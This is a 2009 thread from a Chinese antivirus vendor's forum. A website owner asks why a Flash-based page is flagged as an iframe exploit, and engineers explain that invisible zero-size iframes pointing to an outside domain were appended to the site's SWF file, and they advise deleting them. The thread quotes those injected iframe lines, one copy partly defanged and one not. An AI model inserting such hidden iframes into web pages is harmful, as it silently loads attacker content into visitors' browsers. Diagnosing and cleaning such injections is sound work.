瑞星卡卡安全论坛

首页 » 技术交流区 » 可疑文件交流 » 用了flash as脚本后,瑞星提示Hack.Exploit.Win32.HTML.Iframe.fio
epcos2008 - 2009-5-25 16:53:00
AS脚本

onClipEvent (load)
{
function speed(num)
{
speedX = -(_root._xmouse - hx) / num;
return(speedX);
} // End of the function
function trans()
{
p = p + speed(60);
range = (p + 72) * 3.141593 / 180;
re1 = Math.sin(range) * r;
re2 = Math.cos(range) * a;
} // End of the function
function property()
{
trans();
_x = hx + re1;
_alpha = re2 + 70;
_yscale = re2 + 70;
_xscale = re2 + 70;
this.swapDepths(_alpha);
} // End of the function
hx = 495;
hy = 200;
r = 100;
a = 30;
}
onClipEvent (enterFrame)
{
property();
}


测试页面http://www.college88.com/default.html

用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
帅哥阿福 - 2009-5-25 17:03:00
楼主详细说说,瑞星怎么报毒的?
我实际登陆此页面,并不报毒啊。
我的瑞星目前版本为:21.39.40
瑞星工程师19 - 2009-5-25 17:06:00
flash文件在末行被嵌入了<iframe src=hxxp://www.****mtyy.com width=0 height=0></iframe>
<iframe src=hxxp://www.xnm**y.com width=0 height=0></iframe>
请去除此段地址
epcos2008 - 2009-5-25 17:20:00
提示截图
 附件: 您所在的用户组无法下载或查看附件
 附件: 您所在的用户组无法下载或查看附件
epcos2008 - 2009-5-25 17:29:00
提示截图
 附件: 您所在的用户组无法下载或查看附件
networkedition - 2009-5-26 9:16:00
lz参考三楼的方法,是你首页101.swf这个flash动画文件末尾被嵌入
src=http://www.xnmtyy.com width=0 height=0></iframe>
<iframe src=http://www.xnmtyy.com width=0 height=0></iframe>
请确认是否为网站设计所需要,若不是请将次代码清除即可,或重新制作新的flash动画,替换现有的动画即可。
1
查看完整版本: 用了flash as脚本后,瑞星提示Hack.Exploit.Win32.HTML.Iframe.fio